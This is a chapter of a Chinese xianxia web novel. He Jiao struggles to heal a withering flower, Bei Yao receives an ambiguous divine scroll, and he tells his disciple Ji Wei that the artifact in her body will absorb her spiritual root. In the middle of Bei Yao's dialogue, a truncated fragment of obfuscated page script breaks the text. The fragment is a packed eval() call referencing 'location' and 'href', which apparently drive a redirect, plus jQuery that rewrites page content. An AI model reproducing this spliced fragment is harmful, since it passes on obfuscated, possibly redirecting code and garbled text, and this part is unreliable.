60. 神君卷轴

    苍穹之上,点点繁星不见踪迹,徒留一轮清月被融进茫茫雾气之内。


    这几日每到夜间,仙山总是会蒙上一层薄雾,丝丝缕缕般混进洁净的灵气中向大地靠拢。夜深风凉,万千盏烛灯照亮庭院,玉琼苑亦在其列。


    院内凉风绵绵不息,将开得正盛的梨花从枝头解下,随风而动于空中打着旋,缓缓落进花圃,掉在何皎手边。


    人声寂静,正是入眠的最好时候,而何皎流连于花圃与药谷之间,忙碌不休。


    隐匿在花圃边缘的结界表面波纹连绵,穗玉杖正立在一旁,灵力将其包裹,渐渐透出其中枯槁溃败的花丛。


    自打李怀瑜带来这株溃败之相的酴醾后,何皎便一门心思地扑在它身上,极为细致的为其修补根茎。


    可一连几日,酴醾丝毫没有好转的迹象,反倒在疗愈结界的保护下,根茎溃败的愈演愈烈。


    何皎躬身蹲在花丛前,轻轻捏起落在手边的一朵梨花,眉间凝地更加沉重。


    仙山灵力充沛,万物生出灵智,却也在天道的制衡下,鲜少会结出灵体,更别提还会在枯槁时化为人身。


    但此刻该纠结的,便是这酴醾,为何会在仙山地界枯萎至此。


    昨夜,她依据古籍记载,前去药谷取下白檀神树结出的芜兰,本欲以神树灵气为酴醾驱散病瘴。


    却不料芜兰入体后,那枯槁的枝叶上竟隐隐蔓上一抹绛紫的腐烂之兆。


    无论投注多少灵力在酴醾身上都无济于事,以她对术法及灵草的相熟程度,眼下居然连株酴醾都束手无措。


    看着结界内绛紫气息环绕根茎,短短两日垂留的浅白小花便只剩一朵,此时也因枝叶被侵蚀而岌岌可危。


    何皎见状,不禁犯了难。


    她拧眉垂首,瞥了眼怀中布满书痕的古籍,轻声叹了口气。


    须臾片刻,何皎再度加强结界,隐去穗玉杖与花丛身形,起身折返药谷,希望能再次寻到一些有用之物。


    夜半子时,林间寂静,何皎手持莹灯,快步疾行。


    许是因为她走的太急,与迎面吹来的晚风相撞,竟让她感到一丝凉意爬上手掌,逐渐蔓延了半个身子,令她不自在地耸了耸肩头。


    今夜,着实冷了些……


    “啧。”


    春玉水榭内,北尧冷不丁地略一咂舌,蓦地挥袖巩固了水榭之上的结界,沉闷潮湿的雾气顿时被隔绝在外。


    待到风声停滞,院内花叶不再摇摆,北尧这才长长地舒了口气。


    他立在院中,昂首望天,随手撬开酒塞,缓缓抿了口酒。


    此间异常,北尧自是最早察觉到的。自从杨隐一行人回来,仙山异样频频泛出,他虽心有揣测,却未经证实,也不敢过早下了定论。


    现下只盼着能尽快得到答复,也好让他早做筹谋。


    雾气沉甸甸般地压在结界上,聚起厚重的雾层,将投射在院内的光亮一点点吞噬,幸而有两盏鹅黄莲灯悬挂在房梁,不至于太过压抑。


    忽而,北尧神色平静地脸上泛起一丝波动,沟壑微微从他眉间拱起。只见他眯起眼睛,隐去酒壶,手掌旋天一抓。


    丝丝云雾似是躲避般从中间散开缝隙,与那道光辉接触的一刹那,所有强压着仙山的浓雾霎时消散,一弯孤月显出真身,苍穹繁星环绕于旁,本该一副清冷之态却在此时令人感到一抹柔意。


    光辉带着暖意,一步步接近仙山,布在水榭之上的结界识时务的破开一道小口,那道光辉最终顺利的落在北尧手中。


    夜深风暖,吹动着他松垮宽大的衣袍,北尧眼眸紧闭,连忙抬起另一只手挡在面前。


    直到刺目的暖光弱下,一幅卷轴才缓缓显出身形。


    北尧眸色复杂地盯着手中之物,却并未立刻打开。


    倏地,他嗤笑一声,故作轻松般地略一摇首,喃喃自语道:“真是,越念叨什么来什么。”


    随着一声轻叹,绑在卷轴两端的细绳被人拉开,里面的内容,竟是一幅画。


    画作上每一处添彩的笔触皆闪着不同的光泽,淡翠与花青勾勒出苍穹与湖泊,芝兰点缀玉树花叶,凝脂化作霜雪撒在空中,乍看是一幅雪玉兰,但细细一瞧,便能察觉出隐匿其中的深意。


    苍穹云彩,湖泊水纹乃是两色交换而成,凝脂霜雪落在粉白玉兰之上,透出其中寒凉孤傲之感。


    北尧紧抿地唇畔将他的心绪全然暴露,即便是瞧不出画中之意,但看他面色凝重便知,这画带来的并不是他所希望的消息。


    神君之意,全在天道,不在你我掌控之中。


    这便是他所期盼的答案。一句模棱两可的言语,让他感到几许无奈。


    这夜,北尧在院中独独站了一夜,心绪繁乱,一如几十年前卜算出那人命数一般。


    可这次,他却不是因看透前路而烦扰,恰尔是看不清前路如何,而忧愁。


    翌日,许是因为神界之物降临,仙山灵气更加充盈,仿佛前两夜的异色从未存在,而春玉水榭受到的优常亦然。


    霁薇从榻上悠悠转醒,方一睁眼,入目的便是萦绕在周身的灵气。


    她眯了眯眼睛,待到再睁眼时,灵气仍旧不散,馒头在眼前扑棱身躯,心下便旋即明白这不是梦境。


    意识清醒过后,入眠前的种种情形顿时冲进她的脑颅,霁薇回想自己白日在学堂昏倒,直觉头皮发麻。


    她瘪了瘪嘴,随意蹬上鞋子,在铜镜前停留了好一会儿,这才精神饱满的出了屋。


    谁料刚一打开房门,便见掌门师尊手持折扇站在院内,闻声望向她。


    霁薇心下略觉疑惑,迈步走到他身旁,扬起一抹微笑:“师尊晨安。不知师尊此时来弟子这,是有什么事需要弟子去做吗?”


    北尧面色如常,全然不见疲累与愁容,他负手而立,揶揄地看向霁薇,反问道:“怎么?这次不怕我又将你扔下山?”


    霁薇压下眼眸,讪笑道:“师尊哪里的话。”话落,她似是又想到了什么,抬眸问道,“莫不是昨日又因灵根有异,师尊才来此为我护法?”


    北尧合上折扇,轻点霁薇的额头:“这次倒是聪明。你的魂魄与肉身合体不久,一时间不习惯凝聚过多灵气纳入丹田,才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15100943|154736||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会显得没精打采。”


    他话落至此,霁薇便知是何意,于是她又确认般地问道:“……是因为那个神器么?”


    北尧点头颔首,赞许道:“反应倒是快。”


    闻言,霁薇心中一直悬挂的重石终于落地,她紧接着追问道:“师尊一早就知道了,所以我体内的炎火是为了封印神器,我提前结出灵根却纳进心脉,也是因为它的缘故,对么?”


    她一一所问,北尧一一点头,答复着她。


    “所以,师尊也知道此种缘由,却碍于天意无法告知弟子,对吗?”


    闻听此言,北尧却是摇了摇头。


    “你体内的神器,我并非提前知晓。只是那日你恰好因烛龙而得感触,我也便是那时才知。”


    言过此处,北尧也觉不必再多隐瞒,于是便将他所知的一切尽数告诉霁薇,以待往后前路所何,全由她自己做主。


    北尧道:“我卜算万物,却看不到你的过去和未来。眼下,随着你的灵力修为越高,神器便越不受控,你的疲累困乏,便是灵根与神器的反噬,是灵根没入神器的前兆。”


    “不日等到你踏进元婴之时,灵根将会彻底被神器合为一体。待到那时,安危如何,犹未可知。”


    他看着霁薇一分分错愕地眸色,终是哀叹一声:“此乃你的劫难,也是你的造化。一切尽看天意,不全在你我的掌控之中。”


    “……不。”


    霁薇眉宇间蹙起丘壑,忽然认真道:“如果将一切交于天道,那众人为何会费劲心思渡劫修炼,凡人又为何竭力生存,单凭一句天道,倒像是把所有出路都给堵死了一般,这是懦者认命所说的推诿之词。”


    “可我觉得,命运合该由我自己掌控,能不能渡此劫难,全凭己身能力。”


    她眸光泛出点点星芒,略微颤动的瞳孔透出她的坚毅,北尧瞧了片刻,莫名轻嗤一笑。


    霁薇收起目光,眨了眨眼,语气丝毫不减:“师尊是觉得我说此话很可笑吗?”


    北尧瞧她如此,挥开扇面遮住半张脸,眼眸笑意盈盈,声音带着几分愉悦:“不不,只不过你说这话,倒让我想起一个人来。”


    “谁?”


    “还能是谁,当然是你的师兄啊。”他笑声爽朗,有些哭笑不得:“看样子,真真是让你们待久了的缘故,两个人所说之话竟如此相投,都爱跟我犟嘴。”


    霁薇脸色有些难堪,她既是羞臊又有些恼怒,忙驳道:“师尊误会,弟子并非是在与您犟嘴。”


    “好好,我知你意思。”北尧兀自乐了半晌,才敛下笑意,轻摇折扇,“你有这般觉悟,也是极好,我且不施教于你。只不过日后,你可要明白,天时地利人和这句话。”


    “你可以全凭己身之能,但也要学会运用外界之力,毕竟你所面对的,并非只是渡劫那么简单。你的来历、归处,需要独自寻找。自然,我也会尽全师尊职责,帮助于你。”


    后半句他说的郑重,霁薇神色随之一凛。


    她傲然颔首,目光灼灼地看着师尊,正色道:“师尊心意,弟子明白,绝不辜负。”